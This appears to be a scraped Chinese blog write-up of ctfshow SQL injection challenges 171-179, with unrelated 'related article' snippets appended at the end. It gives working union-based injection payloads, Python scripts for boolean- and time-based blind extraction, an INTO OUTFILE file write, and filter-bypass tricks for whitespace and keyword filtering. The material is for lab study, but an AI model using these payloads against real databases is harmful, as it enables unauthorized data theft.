当前位置: 首页 > news >正文

ctfshow sql171-179

mysql

先打开我们本地的mysql,可以看到这些数据库

information_schema

information_schema 库: 是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息比如数据库名,数据库表,

SCHEMATA表: 提供了当前MySQL实例中所有的数据库信息,show databases 结果取之此表
TABLES 表:提供了关于数据中表的信息
COLUMNS 表:提供了表中的列信心,详细描述了某张表的所有列已经每个列的信息

mysql

mysql库: MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。

performance_schema

performance_schema 库: 内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级,将数据保存在内存中相 比从磁盘上访问能够极大地提高应用的性能。

 

sys

sys 库:通过这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户。哪张表被访问过最多等等信息。

ctfshow

171

 

1' 报错

注释 --+

三列

爆当前数据库

1' union select 1,2,database() --+在第三个位置插入当前数据库

爆表

1' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+在information_schema的tables表中查找table_name当table_schema列为ctfshow_web的时候

爆字段

1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+与上个类似

 

1' union select 1,2,password from ctfshow_user --+猜测flag在password字段里面

172

查询语句不允许直接查 username=flag的记录。 

//检查结果是否有flagif($row->username!=='flag'){$ret['msg']='查询成功';}

跟171一样也是单引号报错

1' union select 1,2 --+字段数为2

爆库

爆表

1' union select 1,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 爆字段名

1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user2' --+在columns这个表中查询字段名当表名为ctfshow_user2的时候

1' union select 1,password from ctfshow_user2--+

 173

//检查结果是否有flagif(!preg_match('/flag/i', json_encode($ret))){$ret['msg']='查询成功';}

字段数为3

1' union select  1,2,database() --+ 

1' union select  1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 

1' union select  1,2,column_name from information_schema.columns where table_name='ctfshow_user3' --+

 

1' union select  1,2,password from ctfshow_user3 --+

174

//检查结果是否有flagif(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查询成功';}

返回的值不能有数字了

抓包一下,看到admin

加个单引号

没有信息,由此可以判断是布尔盲注了

布尔盲注

访问一下看看

不适用二分法跑的很慢很慢

import requestsurl = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
flag = ''for i in range(60):for j in range(32, 128):payload = f"?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))={j},'True','False') --+" //f''是一种字符串插值的方式,也被称为f-stringr = requests.get(url=url+payload).textif 'True' in r:flag += chr(j)print(flag)breakimport requestsurl="http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php"
payload="?id=1' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{0},1))={1},'true','false') --+"
flag=''for i in range(50):for j in range(32,128):payload1=payload.format(i,j)print(payload1)params={'password':payload1,'username':1}response=requests.get(url=url,params=params)if 'true' in response.text:flag+=chr(j)print(flag)break

 使用二分法

  1. 在每次二分查找中,计算中间值j,即min和max的中间值。
  2. 如果min和j相等,说明已经找到了特定元素,将其转换为字符并添加到flag中,然后打印flag并结束当前循环。
  3. 如果min和j不相等,则构造一个payload,用于发送请求。payload中包含一个SQL注入语句,通过判断特定位置的字符的ASCII码是否小于j来判断是否找到了特定元素
  • 如果响应结果中包含'True',说明特定位置的字符的ASCII码小于j,将max更新为j。
  • 如果响应结果中不包含'True',说明特定位置的字符的ASCII码大于等于j,将min更新为j。 
import requests
url = 'http://2691519d-979d-4309-8fa7-5d333534bef7.challenge.ctf.show/api/v4.php'
flag = ''
for i in range(60):lenth = len(flag)min,max = 32,128while True:j = min + (max-min)//2if(min == j):flag += chr(j)print(flag)breakpayload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"r = requests.get(url=url+payload).textif('True' in r):max = jelse:min = j

替换

0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' --+0替换为h
1替换为i
2替换为j
3替换为k
4替换为l
5替换为m
6替换为n
7替换为o
8替换为p
9替换为q

ctfshow{plcnhacc-kipa-lqqp-qihk-iccqelhffjja}
ctfshow{84c60acc-318a-4998-9103-1cc9e40ff22a}

175

//检查结果是否有flagif(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){$ret['msg']='查询成功';}

过滤掉了ascii从0到127的字符,所以就不能单纯地靠回显来爆出flag

使用bp抓包看看,又看到api接口

 

只有两列

时间盲注

写了很久大姐

import requestsimport timeurl = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
flag = ''for i in range(1, 60):for j in range(97, 128):payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{j},sleep(0.5),0)--+"start_time = time.time()r = requests.get(url=url + payload).textend_time = time.time()if end_time - start_time <= 0.45:flag += chr(j)print(flag)break

这是别人用的二分法

import requests
from time import timeurl = 'http://19f0da73-14c2-4086-adc5-f3c1a82ea553.challenge.ctf.show/api/v5.php'
flag = ''for i in range(1, 100):length = len(flag)min = 32max = 128while 1:j = min + (max - min) // 2if min == j:flag += chr(j)print(flag)breakpayload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) --+" % (i, j)start_time = time()r = requests.get(url=url + payload).textend_time = time()# print(r)if end_time - start_time > 0.48:max = jelse:min = j

文件写入

写入文件的前提是知道网站初始的目录,一般来说都是/var/www/html/

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

 

so,输出被限制的时候可以利用文件写入操作,into outfile 

176 select过滤

这关select被过滤,大写绕过

Select

 

1' union Select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

 

1' union Select 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+

1' union Select 1,2,password from ctfshow_user --+

177 空格过滤

这里用#的url编码%23来替代

用内敛注释 /**/ 代替空格

 

1'/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23

 

1'/**/union/**/select/**/1,2,column_name/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23

178  *过滤

不能用*

那用%09来绕过空格

 

1'%09union%09select%091,2,table_name%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23

 

1'%09union%09select%091,2,column_name%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23

 

1'%09union%09select%091,2,password%09from%09ctfshow_user%23

 

179

这里用%0c来代替空格

1'%0cunion%0cselect%0c1,2,3%231'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%231'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%231'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

总结1下空格被过滤绕过的方法

%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码/**/组合
括号
%23代替注释符 -- 

相关文章:

ctfshow sql171-179

mysql 先打开我们本地的mysql&#xff0c;可以看到这些数据库 information_schema information_schema 库: 是信息数据库&#xff0c;其中保存着关于MySQL服务器所维护的所有其他数据库的信息比如数据库名&#xff0c;数据库表&#xff0c; SCHEMATA表: 提供了当前MySQL实例…...

Mysql 自带分页异常

Mysql 自带分页异常 limit?,? 25条数据&#xff0c;在分页是10时&#xff0c;第一页和第二页的数据有重复的 分页是30时无异常。 经检查后发现&#xff0c;是mysql的分页出现了问题&#xff0c;其中分页后进行了排序&#xff0c;按照state进行的排序 select * from user or…...

MySQL MVCC机制详解

MySQL MVCC机制详解 MVCC, 是Multi Version Concurrency Control的缩写&#xff0c;其含义是多版本并发控制。这一概念的提出是为了使得MySQL可以实现RC隔离级别和RR隔离级别。 这里回顾一下MySQL的事务&#xff0c; MySQL的隔离级别和各种隔离级别所存在的问题。 事务是由 …...

搭建成功simulink-stm32硬件在环开发环境

本次实验所使用的软件版本和硬件平台参数如下&#xff1a; Matlab版本: 2021b STM32硬件平台&#xff1a;YF_STM32_Alpha 1R4(参考自STM32 Nucleo F103RB官方开发板) YF_STM32_Alpha开发板 STM32 Nucleo F103RB 开发板 2.1 STM32硬件支持包下载 读者朋友平时使用的是和谐版M…...

【计算机网络】UDP协议

UDP的结构 我们学习一个协议最主要的就是理解它的报文格式&#xff0c;对于UDP协议来说 我们看下面的这张图。 16位UDP长度&#xff0c;表示整个数据报&#xff08;UDP首部UDP数据&#xff09;的最大长度。UDP报文长度占两个字节&#xff0c;16位表示的数据范围&#xff08;0-…...

ubuntu安装mysql8.0.35过程和报错处理

ubuntu安装mysql8.0.35过程 1.更新包列表&#xff1a;首先&#xff0c;确保您的系统已更新到最新状态。运行以下命令来更新包列表和安装最新的软件包&#xff1a; sudo apt update sudo apt upgrade2.安装MySQL服务器&#xff1a;运行以下命令来安装MySQL服务器&#xff1a; …...

SQL基础理论篇(一):什么是SQL

文章目录 什么是SQLSQL的四大部分常用的SQL标准参考文献 什么是SQL SQL的全称是Structured Query Language&#xff0c;即结构化查询语句。 其最早诞生于1974年&#xff0c;IBM研究员发布的一篇论文"SEQUEL&#xff1a;一门结构化的英语查询语言"。这几十年里&…...

物联网AI MicroPython学习之语法 GPIO输入输出模块

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; GPIO 介绍 模块功能: GPIO通用输入输出。 接口说明 GPIO - 构建GPIO对象 函数原型&#xff1a;Pin(port, dir , pull)参数说明&#xff1a; 参数类型必选参数&#xff1f;说明portintY对应开发板的引脚号…...

phalcon 访问IndexController 中只能访问indexAction方法,访问不了testAction等其它问题的解决办法

phalcon 访问IndexController 中只能访问indexAction方法,访问不了testAction,也访问不了indexAction方法,但是可以访问ArticleController里面的任意方法。访问其它方法出现这个错误“php - phalcon IndexController handler class cannot be loaded” 有人说是Apache 的rew…...

docker安装AWVS 23.9.231005181

本文声明仅AWVS用作学习使用 将镜像文件secfa_awvs.tar复制到目标机器上。 我的百度网盘文件路径&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1Pe4qlVp9XKbZ3dLrouaP2w 提取码&#xff1a;67mc –来自百度网盘超级会员V6的分享 在目标机器上&#xff0c;使用以下命…...

数据同步工具调研选型:SeaTunnel 与 DataX 、Sqoop、Flume、Flink CDC 对比

产品概述 Apache SeaTunnel 是一个非常易用的超高性能分布式数据集成产品&#xff0c;支持海量数据的离线及实时同步。每天可稳定高效同步万亿级数据&#xff0c;已应用于数百家企业生产&#xff0c;也是首个由国人主导贡献到 Apache 基金会的数据集成顶级项目。 SeaTunnel 主…...

【Vue】Vue3 Swiper 插件 loop 无限滚动、并且暂停的问题

上午把官网的合作伙伴做了&#xff0c;好坑&#xff0c;swiper 自动滚动展示的数量 slides-per-view 的两倍必须小于等于 *SwiperSlide* 组件的渲染数量&#xff0c;才能进行自动滚动&#xff0c;官网居然都没有说。 比如 slidesPerView 6&#xff0c;那么 SwiperSlide 组件渲…...

MySQL的DATE_FORMAT函数使用

在MySQL中&#xff0c;可以使用DATE_FORMAT函数将日期格式化为所需的格式。DATE_FORMAT函数接受两个参数&#xff1a;日期和格式字符串。 以下是一些常用的日期格式化选项&#xff1a; %Y&#xff1a;四位数的年份&#xff08;例如&#xff1a;2023&#xff09;%y&#xff1a…...

MySQL的SQL预编译及防SQL注入

文章目录 1 SQL语句的执行处理1.1 即时SQL1.2 预处理SQL1.2.1 预编译SQL的实现步骤1.2.2 预编译SQL的C使用举例1.2.3 MYSQL_BIND()函数中的参数类型&#xff1a; 2 SQL注入2.1 什么是SQL注入2.2 如何防止SQL注入 1 SQL语句的执行处理 SQL的执行可大致分为下面两种模式&#xf…...

博流BL602芯片 - 烧录配置

硬件介绍 淘宝上买的核心板&#xff0c;大概结构如上。 直接插入电脑usb&#xff0c;即可实现供电、下载&#xff08;控制BOOT/EN&#xff09;、串口通讯 固件包 1、环境配置 1.1串口 开发板使用了 CH340G 的 USB 转串口芯片&#xff0c;自行安装CH340串口驱动。 1.2编译环境…...

websocket实现实时数据推送,发布订阅重连单点登录功能

需求&#xff1a;使用websocket不借助插件实现发布&#xff0c;订阅&#xff0c;网络断开重连&#xff0c;单点登录后挤号的功能 1.单点登录&#xff08;同一账号同一时间只有一个在线&#xff0c;禁止多用户登录&#xff09; 实现&#xff1a;在用户登录之后获取到token令牌并…...

前端代理模式之【策略模式】

文章目录 前言介绍代码场景例子优缺点后言 前言 hello world欢迎来到前端的新世界 &#x1f61c;当前文章系列专栏&#xff1a;前端设计模式 &#x1f431;‍&#x1f453;博主在前端领域还有很多知识和技术需要掌握&#xff0c;正在不断努力填补技术短板。(如果出现错误&#…...

人工智能-深度学习之残差网络(ResNet)

随着我们设计越来越深的网络&#xff0c;深刻理解“新添加的层如何提升神经网络的性能”变得至关重要。更重要的是设计网络的能力&#xff0c;在这种网络中&#xff0c;添加层会使网络更具表现力&#xff0c; 为了取得质的突破&#xff0c;我们需要一些数学基础知识。 ResNet沿…...

arm2 day6

串口实现单个字符的收发 main.c uart4.c uart4.h...

RxSwift和Combine的相同点和使用例子

RxSwift 和 Combine 都是响应式编程框架&#xff0c;用于简化异步和基于事件的代码。它们有很多相似之处&#xff0c;主要体现在设计理念和编程模式上。以下是 RxSwift 和 Combine 的主要相同点&#xff0c;以及它们的应用场景&#xff1a; 相同点 1.响应式编程&#xff1a;两…...

通过Wrangler CLI在worker中创建数据库和表

官方使用文档&#xff1a;Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后&#xff0c;会在本地和远程创建数据库&#xff1a; npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库&#xff1a; 现在&#xff0c;您的Cloudfla…...

Python爬虫实战:研究feedparser库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

NLP学习路线图(二十三):长短期记忆网络(LSTM)

在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

Java面试专项一-准备篇

一、企业简历筛选规则 一般企业的简历筛选流程&#xff1a;首先由HR先筛选一部分简历后&#xff0c;在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如&#xff1a;Boss直聘&#xff08;招聘方平台&#xff09; 直接按照条件进行筛选 例如&#xff1a…...

Xen Server服务器释放磁盘空间

disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...

CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)

漏洞概览 漏洞名称&#xff1a;Apache Flink REST API 任意文件读取漏洞CVE编号&#xff1a;CVE-2020-17519CVSS评分&#xff1a;7.5影响版本&#xff1a;Apache Flink 1.11.0、1.11.1、1.11.2修复版本&#xff1a;≥ 1.11.3 或 ≥ 1.12.0漏洞类型&#xff1a;路径遍历&#x…...

NPOI Excel用OLE对象的形式插入文件附件以及插入图片

static void Main(string[] args) {XlsWithObjData();Console.WriteLine("输出完成"); }static void XlsWithObjData() {// 创建工作簿和单元格,只有HSSFWorkbook,XSSFWorkbook不可以HSSFWorkbook workbook new HSSFWorkbook();HSSFSheet sheet (HSSFSheet)workboo…...

Docker拉取MySQL后数据库连接失败的解决方案

在使用Docker部署MySQL时&#xff0c;拉取并启动容器后&#xff0c;有时可能会遇到数据库连接失败的问题。这种问题可能由多种原因导致&#xff0c;包括配置错误、网络设置问题、权限问题等。本文将分析可能的原因&#xff0c;并提供解决方案。 一、确认MySQL容器的运行状态 …...

Python 高效图像帧提取与视频编码:实战指南

Python 高效图像帧提取与视频编码:实战指南 在音视频处理领域,图像帧提取与视频编码是基础但极具挑战性的任务。Python 结合强大的第三方库(如 OpenCV、FFmpeg、PyAV),可以高效处理视频流,实现快速帧提取、压缩编码等关键功能。本文将深入介绍如何优化这些流程,提高处理…...